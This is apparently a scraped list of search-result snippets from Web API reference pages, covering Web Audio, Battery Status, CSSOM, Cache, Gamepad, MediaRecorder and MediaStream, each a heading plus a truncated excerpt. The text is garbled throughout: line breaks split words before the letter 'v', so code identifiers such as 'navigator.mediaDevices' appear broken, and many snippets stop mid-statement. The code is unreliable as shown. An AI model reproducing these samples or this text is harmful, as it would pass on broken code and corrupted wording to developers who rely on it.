via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffer...
BaseAudioContext.createDelay() - Web APIs
example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also
view the source code).
BaseAudioContext.createGain() - Web APIs
the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (
view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (na
vigator.mediade
vices.getusermedia) { na
vigator.mediade
vices.getusermedia ( // constraints - only audio needed for this app { audio: true }, ...
BaseAudioContext.currentTime - Web APIs
the currenttime read-only property of the baseaudiocontext interface returns a double representing an ever-increasing hardware timestamp in seconds that can be used for scheduling audio playback,
visualizing timelines, etc.
BatteryManager.chargingTime - Web APIs
example html content <div id="chargingtime">(charging time unknown)</div> javascript content na
vigator.getbattery().then(function(battery) { var time = battery.chargingtime; document.queryselector('#chargingtime').textcontent = battery.chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
example html content <div id="dischargingtime">(discharging time unknown)</div> javascript content na
vigator.getbattery().then(function(battery) { var time = battery.dischargingtime; document.queryselector('#dischargingtime').textcontent = battery.dischargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.level - Web APIs
example html content <div id="level">(battery level unknown)</div> javascript content na
vigator.getbattery().then(function(battery) { var level = battery.level; document.queryselector('#level').textcontent = level; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingchange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content na
vigator.getbattery().then(function(battery) { battery.onchargingchange = chargingchange(); function chargingchange() { document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recomme...
BatteryManager.onchargingtimechange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content na
vigator.getbattery().then(function(battery) { battery.onchargingtimechange = chargingtimechange(); function chargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api ...
BatteryManager.ondischargingtimechange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content na
vigator.getbattery().then(function(battery) { battery.ondischargingtimechange = dischargingtimechange; function dischargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery statu...
CSSPrimitiveValue - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvalue</text></a><polyline points="81,25 9...
CSSRule - Web APIs
e used to define color profiles in the future cssrule.namespace_rule 10 cssnamespacerule cssrule.counter_style_rule 11 csscounterstylerule cssrule.supports_rule 12 csssupportsrule cssrule.document_rule 13 cssdocumentrule cssrule.font_feature_values_rule 14 cssfontfeaturevaluesrule cssrule.
viewport_rule 15 css
viewportrule cssrule.region_style_rule 16 cssregionstylerule cssrule.unknown_rule 0 cssunknownrule cssrule.charset_rule 2 csscharsetrule (removed in most browsers.) an up-to-date informal list of constants can be found on the csswg wiki.
CSSRuleList - Web APIs
note that being indirect-modify (changeable but only ha
ving read-methods), rules are not added or removed from the list directly, but instead here, only
via its parent stylesheet.
CSSStyleDeclaration.item() - Web APIs
this method doesn't throw exceptions as long as you pro
vide arguments; the empty string is returned if the index is out of range and a typeerror is thrown if no argument is pro
vided.
CSSStyleRule.style - Web APIs
syntax styleobj = cssrule.style example function stilo() { alert(document.stylesheets[0].cssrules[0].style.csstext); } // displays "background-color: gray;" notes the declaration block is that part of the style rule that appears within the braces and that actually pro
vides the style definitions (for the selector, the part that comes before the braces).
CSSStyleRule.styleMap - Web APIs
the stylemap read-only property of the cssstylerule interface returns a stylepropertymap object which pro
vides access to the rule's property-value pairs.
CSSStyleRule - Web APIs
cssstylerule.stylemap read only returns a stylepropertymap object which pro
vides access to the rule's property-value pairs.
CSSStyleSheet.rules - Web APIs
functionally identical to the preferred cssrules property, it pro
vides access to a live-updating list of the css rules comprising the stylesheet.
CSSStyleSheet - Web APIs
this is normally used to access indi
vidual rules like this: stylesheet.cssrules[i] // where i = 0..cssrules.length-1 to add or remove items in cssrules, use the cssstylesheet's insertrule() and deleterule() methods.
CSSUnitValue.unit - Web APIs
examples the following creates a csspositionvalue from indi
vidual cssunitvalue constructors, then queries the cssunitvalue.unit.
CSSUnitValue.value - Web APIs
examples the following creates a csspositionvalue from indi
vidual cssunitvalue constructors, then queries the cssunitvalue.value.
CSSUnitValue - Web APIs
examples the following shows a method of creating a csspositionvalue from indi
vidual cssunitvalue constructors.
CSSUnparsedValue.entries() - Web APIs
the cssunparsedvalue.entries() method returns an array of a given object's own enumerable property [key, value] pairs in the same order as that pro
vided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
CSS Painting API - Web APIs
dictionaries paintrenderingcontext2dsettings a dictionary pro
viding a subset of canvasrenderingcontext2d settings.
Cache.delete() - Web APIs
examples caches.open('v1').then(function(cache) { cache.delete('/images/image.png').then(function(response) { someuiupdatefunction(); }); }) specifications specification status comment ser
vice workersthe definition of 'cache: delete' in that specification.
Cache.keys() - Web APIs
examples caches.open('v1').then(function(cache) { cache.keys().then(function(keys) { keys.foreach(function(request, index, array) { cache.delete(request); }); }); }) specifications specification status comment ser
vice workersthe definition of 'cache: keys' in that specification.
CacheStorage.has() - Web APIs
}); specifications specification status comment ser
vice workersthe definition of 'cachestorage: has' in that specification.
CacheStorage.match() - Web APIs
serve second one let responseclone = response.clone(); caches.open('v1').then(function (cache) { cache.put(event.request, responseclone); }); return response; }).catch(function () { return caches.match('/sw-test/gallery/mylittlevader.jpg'); }); } })); }); specifications specification status comment ser
vice workersthe definition of 'cachestorage: match' in that specification.
CacheStorage.open() - Web APIs
est/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); specifications specification status comment ser
vice workersthe definition of 'cachestorage: open' in that specification.
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
example // find the canvas element to capture var canvaselt = document.getelementsbytagname("canvas")[0]; // get the stream var stream = canvaselt.capturestream(25); // 25 fps // send the current state of the canvas as a frame to the stream stream.get
videotracks()[0].requestframe(); specifications specification status comment media capture from dom elementsthe definition of 'canvascapturemediastream.requestframe()' in that specification.
CanvasCaptureMediaStreamTrack - Web APIs
the canvascapturemediastreamtrack interface represents the
video track contained in a mediastream being generated from a <canvas> following a call to htmlcanvaselement.capturestream().
CanvasRenderingContext2D.clearHitRegions() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set some hit regions ctx.addhitregion({id: 'eyes'}); ctx.addhitregion({id: 'nose'}); ctx.addhitregion({id: 'mouth'}); // remove them altogether from the canvas ctx.clearhitregions(); specifications canvas hit regions have been removed from the whatwg li
ving standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.removeHitRegion() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set a hit region ctx.addhitregion({id: 'eyes'}); // remove it from the canvas ctx.removehitregion('eyes'); specifications canvas hit regions have been removed from the whatwg li
ving standard, although discussions about future standardization are ongoing.
EffectTiming.delay - Web APIs
examples in the pool of tears example, each tear is passed a random delay
via its timing object: // randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tea...
EffectTiming.direction - Web APIs
the direction property of the web animations api dictionary effecttiming indicates an animation's playback direction along its timeline, as well as its beha
vior when it reaches the end of an iteration element.animate(), keyframeeffectreadonly(), and keyframeeffect() all accept an object of timing properties including direction.
EffectTiming.duration - Web APIs
examples in the pool of tears example, each tear is passed a random duration
via its timing object: // randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tea...
Element: MSGestureTap event - Web APIs
the msgesturetap event is fired when the user "taps" the pointing de
vice (e.g., touches the touch surface with their finger, taps the touch surface with a pen de
vice, clicks with a mouse).
Element.accessKey - Web APIs
to work around this, browsers implement accesskey beha
vior if the keys are pressed with other "qualifying" keys (such as alt + accesskey).
Element.attributes - Web APIs
li
ving standard from document object model (dom) level 3 core specification, moved from node to element document object model (dom) level 3 core specificationthe definition of 'element.attributes' in that specification.
Element: click event - Web APIs
an element receives a click event when a pointing de
vice button (such as a mouse's primary mouse button) is both pressed and released while the pointer is located inside the element.
Element.clientLeft - Web APIs
padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status comment css object model (cssom)
view modulethe definition of 'clientleft' in that specification.
Element.clientTop - Web APIs
specifications specification status comment css object model (cssom)
view modulethe definition of 'clienttop' in that specification.
Element.computedStyleMap() - Web APIs
the computedstylemap() method of the element interface returns a stylepropertymapreadonly interface which pro
vides a read-only representation of a css declaration block that is an alternative to cssstyledeclaration.
Element: dblclick event - Web APIs
the dblclick event fires when a pointing de
vice button (such as a mouse's primary button) is double-clicked; that is, when it's rapidly clicked twice on a single element within a very short span of time.
GainNode.gain - Web APIs
the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (
view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (na
vigator.mediade
vices.getusermedia) { na
vigator.mediade
vices.getusermedia ( // constraints - only audio needed for this app { audio: true }, ...
GainNode - Web APIs
the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (
view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (na
vigator.mediade
vices.getusermedia) { na
vigator.mediade
vices.getusermedia ( // constraints - only audio needed for this app { audio: true }, ...
Gamepad.connected - Web APIs
syntax readonly attribute boolean connected; example var gp = na
vigator.getgamepads()[0]; console.log(gp.connected); value a boolean.
GamepadButton.pressed - Web APIs
syntax var ispressed = na
vigator.getgamepads()[0].pressed; example var gp = na
vigator.getgamepads()[0]; // get the first gamepad object if(gp.buttons[0].pressed == true) { // respond to button being pressed } value a boolean.
GamepadButton.value - Web APIs
syntax readonly attribute double value; example var gp = na
vigator.getgamepads()[0]; if(gp.buttons[0].value > 0) { // respond to analog button being pressed in } value a double.
GamepadEvent.gamepad - Web APIs
the gamepadevent.gamepad property of the gamepadevent interface returns a gamepad object, pro
viding access to the associated gamepad data for fired gamepadconnected and gamepaddisconnected events.
GamepadHapticActuator.type - Web APIs
syntax var myactuatortype = gamepadhapticactuatorinstance.type; value an enum of type gamepadhapticactuatortype; currently available types are:
vibration —
vibration hardware, which creates a rumbling effect.
GamepadHapticActuator - Web APIs
the gamepadhapticactuator interface of the gamepad api represents hardware in the controller designed to pro
vide haptic feedback to the user (if available), most commonly
vibration hardware.
GlobalEventHandlers.onanimationcancel - Web APIs
lid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } lea
ving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
GlobalEventHandlers.onanimationend - Web APIs
d black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } lea
ving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
GlobalEventHandlers.onanimationiteration - Web APIs
lid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } lea
ving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
GlobalEventHandlers.onanimationstart - Web APIs
d black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } lea
ving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
Gyroscope.x - Web APIs
the x read-only property of the gyroscope interface returns a double precision integer containing the angular velocity of the de
vice along the its x axis.
Gyroscope.y - Web APIs
the y read-only property of the gyroscope interface returns a double precision integer containing the angular velocity of the de
vice along the its y axis.
Gyroscope.z - Web APIs
the z read-only property of the gyroscope interface returns a double precision integer containing the angular velocity of the de
vice along the its z axis.
HTMLBaseFontElement - Web APIs
the htmlbasefontelement interface pro
vides special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <basefont> elements.
HTMLCanvasElement.captureStream() - Web APIs
the htmlcanvaselement capturestream() method returns a mediastream which includes a canvascapturemediastreamtrack containing a real-time
video capture of the canvas's contents.
HTMLCollection.item - Web APIs
note: because the contents of an htmlcollection are live, changes to the underlying dom can and will cause the position of indi
vidual nodes in the collection to change, so the index value will not necessarily remain constant for a given node.
HTMLElement: animationcancel event - Web APIs
play = 'none'; the same, but using the onanimationcancel property instead of addeventlistener(): const animated = document.queryselector('.animated'); animated.onanimationcancel = () => { console.log('animation canceled'); }; animated.style.display = 'none'; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to
visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; }...
HTMLElement: animationend event - Web APIs
ntlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: const animated = document.queryselector('.animated'); animated.onanimationend = () => { console.log('animation ended'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to
visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; } ...
HTMLElement: animationiteration event - Web APIs
t using the onanimationiteration event handler property: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to
visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; }...
HTMLElement: animationstart event - Web APIs
animated.addeventlistener('animationstart', () => { console.log('animation started'); }); the same, but using onanimationstart: const animated = document.queryselector('.animated'); animated.onanimationstart = () => { console.log('animation started'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to
visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; }...
HTMLElement.click() - Web APIs
syntax element.click() example simulate a mouse-click when mo
ving the mouse pointer over a checkbox: html <form> <input type="checkbox" id="mycheck" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("mycheck").click(); } specification specification status comment html li
ving standard li
ving standard document object model...
inert - Web APIs
this can be useful when building uis such as modals where you would want to "trap" the focus inside the modal when it's
visible.
HTMLElement.lang - Web APIs
note that this attribute, though valid at the indi
vidual element level described here, is most often specified for the root element of the document.
HTMLElement.offsetLeft - Web APIs
ngspan = document.getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </script> specification specification status comment css object model (cssom)
view modulethe definition of 'offsetleft' in that specification.
HTMLElement.offsetWidth - Web APIs
example specification specification status comment css object model (cssom)
view modulethe definition of 'offsetwidth' in that specification.
HTMLElement: pointerenter event - Web APIs
the pointerenter event fires when a pointing de
vice is moved into the hit test boundaries of an element or one of its descendants, including as a result of a pointerdown event from a de
vice that does not support hover (see pointerdown).
HTMLElement: pointermove event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointermove usage notes the event, which is of type pointerevent, pro
vides all the information you need to know about the user's interaction with the pointing de
vice, including the position, movement distance, button states, and much more.
HTMLElement: pointerout event - Web APIs
the pointerout event is fired for several reasons including: pointing de
vice is moved out of the hit test boundaries of an element; firing the pointerup event for a de
vice that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detectable by the digitizer.
HTMLFormElement: reset event - Web APIs
time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('reset', logreset); result specifications specification status comment html li
ving standardthe definition of 'reset' in that specification.
HTMLFormElement: submit event - Web APIs
time stamp: ${event.timestamp}`; event.preventdefault(); } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('submit', logsubmit); result specifications specification status comment html li
ving standardthe definition of 'submit' in that specification.
HTMLHyperlinkElementUtils.toString() - Web APIs
); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring' specifications specification status comment html li
ving standard li
ving standard ...
HTMLIFrameElement.featurePolicy - Web APIs
the featurepolicy read-only property of the htmliframeelement interface returns the featurepolicy interface which pro
vides a simple api for introspecting the feature policies applied to a specific frame.
HTMLIsIndexElement - Web APIs
the htmlisindexelement interface pro
vides special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <isindex> elements.
HTMLKeygenElement - Web APIs
the <keygen> elements expose the htmlkeygenelement interface, which pro
vides special properties and methods (beyond the regular element object interface they also have available to them by inheritance) for manipulating the layout and presentation of keygen elements.
HTMLMediaElement: abort event - Web APIs
bubbles no cancelable no interface event event handler property onabort examples const
video = document.queryselector('
video'); const
videosrc = 'https://path/to/
video.webm';
video.addeventlistener('abort', () => { console.log(`abort loading: ${
videosrc}`); }); const source = document.createelement('source'); source.setattribute('src',
videosrc); source.setattribute('type', '
video/webm');
video.appendchild(source); specifications specification status html li
ving standard li
ving standard html5 recommendation ...
msClearEffects - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
Option() - Web APIs
ent, key) { if (element == 'zero') { s[s.options.length] = new option(element, s.options.length, false, false); } if (element == 'one') { s[s.options.length] = new option(element, s.options.length, true, false); // will add the "selected" attribute } if (element == 'two') { s[s.options.length] = new option(element, s.options.length, false, true); // just will be selected in "
view" } }); /* result <select id="s"> <option value="0">zero</option> <option value="1" selected="">one</option> <option value="2">two</option> // user will see this as 'selected' </select> */ specification specification status comment html5 the definition of 'option' in that specification.
HTMLShadowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line ...
HTMLTableElement.cellSpacing - Web APIs
while you should instead use the css border-spacing property, the obsolete htmltableelement interface's cellspacing property represents the spacing around the indi
vidual <th> and <td> elements representing a table's cells.
ImageCapture.grabFrame() - Web APIs
the grabframe() method of the imagecapture interface takes a snapshot of the live
video in a mediastreamtrack and returns a promise that resolves with a imagebitmap containing the snapshot.
InputEvent() - Web APIs
inputeventinitoptional is a inputeventinit dictionary, ha
ving the following fields: inputtype: (optional) a string specifying the type of change for editible content such as, for example, inserting, deleting, or formatting text.
InputEvent.data - Web APIs
examples in the following simple example we've set up an event listener on the input event so that when any change is made to the contents of the <input> element (either by typing or pasting), the text that was added is retrieved
via the inputevent.data property and reported in the paragraph below the input.
InputEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86...
install - Web APIs
in contrast to startsoftwareupdate, install allows you to do multiple installs with the same trigger and pro
vides a unified user experience for the multiple installs.
IntersectionObserver.rootMargin - Web APIs
this lets you, for example, adjust the bounds outward so that the target element is considered 100%
visible even if a certain number of pixels worth of width or height is clipped away, or treat the target as partially hidden if an edge is too close to the edge of the root's bounding box.
IntersectionObserverEntry.isIntersecting - Web APIs
function intersectioncallback(entries) { entries.foreach(function(entry) { if (entry.isintersecting) { intersectingcount += 1; } else { intersectingcount -= 1; } }); } to see a more concrete example, take a look at handling intersection changes in timing element
visibility with the intersection observer api.
IntersectionObserverEntry.time - Web APIs
example see timing element
visibility with the intersection observer api for a complete example which uses the time property to track how long elements are
visible to the user.
KeyboardEvent() - Web APIs
keyboardeventinitoptional is a keyboardeventinit dictionary, ha
ving the following fields: "key", optional and defaulting to "", of type domstring, that sets the value of keyboardevent.key.
KeyboardEvent.charCode - Web APIs
for a list of the charcode values associated with particular keys, run example 7: displaying event object properties and
view the resulting html table.
Magnetometer.z - Web APIs
the z read-only property of the magnetometer interface returns a double-precision integer containing the magnetic field around the de
vice's z axis.
MediaImage - Web APIs
its contents can be displayed by the user agent in appropriate contexts, like player interface to show the current playing
video or audio track.
MediaKeySession.onkeystatuseschange - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
MediaKeySession.onmessage - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
remove() - Web APIs
the mediakeysession.remove() method returns a promise after remo
ving any session data associated with the current object.
MediaKeySession - Web APIs
mediakeysession.remove() returns a promise after remo
ving any session data associated with the current object.
MediaList.mediaText - Web APIs
note that the medialist is a live list; updating the list
via mediatext will immediately update the beha
vior of the document.
MediaList - Web APIs
note: medialist is a live list; updating the list using properties or methods listed below will immediately update the beha
vior of the document.
MediaQueryList.media - Web APIs
css .mq-value { font: 18px arial, sans-serif; font-weight: bold; color: #88f; padding: 0.4em; border: 1px solid #dde; } result specifications specification status comment css object model (cssom)
view modulethe definition of 'media' in that specification.
MediaQueryList.onchange - Web APIs
}; example var mql = window.matchmedia('(max-width: 600px)'); mql.addeventlistener( "change", (e) => { if (e.matches) { /* the
viewport is 600 pixels wide or less */ console.log('this is a narrow screen — less than 600px wide.') } else { /* the
viewport is more than than 600 pixels wide */ console.log('this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom)
view modulethe definition of 'onchange' in that spe...
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
examples var media = '(max-width: 600px)'; var matches = true; var mymediaquerylistevent = new mediaquerylistevent({media, matches}); specifications specification status comment css object model (cssom)
view modulethe definition of 'mediaquerylistevent()' in that specification.
MediaQueryListListener - Web APIs
specifications specification status comment css object model (cssom)
view modulethe definition of 'mediaquerylistlistener' in that specification.
MediaRecorder: error event - Web APIs
examples using addeventlistener to listen for error events: async function record() { const stream = await na
vigator.mediade
vices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); recorder.addeventlistener('error', (event) => { console.error(`error recording stream: ${event.error.name}`) }); recorder.start(); } record(); the same, but using the onerror event handler property: async function record() { const stream = await na
vigator.mediade
vices.getuserm...
MediaRecorder.isTypeSupported - Web APIs
example var types = ["
video/webm", "audio/webm", "
video/webm\;codecs=vp8", "
video/webm\;codecs=daala", "
video/webm\;codecs=h264", "audio/webm\;codecs=opus", "
video/mpeg"]; for (var i in types) { console.log( "is " + types[i] + " supported?
MediaRecorder.onstop - Web APIs
the mediarecorder.onstop event handler (part of the mediarecorder api) handles the stop event, allowing you to run code in response to media recording
via a mediarecorder being stopped.
MediaRecorder.onwarning - Web APIs
the mediarecorder.onwarning event handler (part of the mediarecorder api) handles the recordingwarning event, allowing you to run code in response to non-fatal errors being thrown during media recording
via a mediarecorder, which don't halt recording.
MediaRecorder.resume() - Web APIs
the mediarecorder.resume() method (part of the mediarecorder api) is used to resume media recording when it has been pre
viously paused.
MediaRecorder.stream - Web APIs
example if (na
vigator.getusermedia) { console.log('getusermedia supported.'); na
vigator.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { var mediarecorder = new mediarecorder(stream); var mystream = mediarecorder.stream; console.log(mystream); ...
MediaRecorderErrorEvent() - Web APIs
some user agents add to the error object other properties that pro
vide information such as stack dumps, the name of the javascript file and the line number where the error occurred, and other debugging aids, but you should not rely on this information in a production en
vironment.
MediaSessionActionDetails.seekOffset - Web APIs
the mediasessionactiondetails dictionary's seekoffset property is an optional value passed into the action handler callback to pro
vide the number of seconds the seekforward and seekbackward actions should move the playback time by.
MediaSource.MediaSource() - Web APIs
example the following snippet is taken from a simple example written by nick desaulniers (
view the full demo live, or download the source for further investigation.) var
video = document.queryselector('
video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = '
video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed
video.src = url.cre...
MediaStream() - Web APIs
return value a newly-created mediastream object, either empty, or containing the tracks pro
vided, if any.
active - Web APIs
var promise = na
vigator.mediade
vices.getusermedia({ audio: true,
video: true }); promise.then(function(stream) { var startbtn = document.queryselector('#startbtn'); startbtn.disabled = stream.active; };) specifications specification status comment media capture and streamsthe definition of 'active' in that specification.
MediaStream.getTrackById() - Web APIs
example this example activates a commentary track on a
video by ducking the audio level of the main audio track to 50%, then enabling the commentary track.
MediaStream.onremovetrack - Web APIs
syntax mediastream.onremovetrack = eventhandler; value this should be set to a function which you pro
vide that accepts as input a mediastreamtrackevent object representing the removetrack event which has occurred.
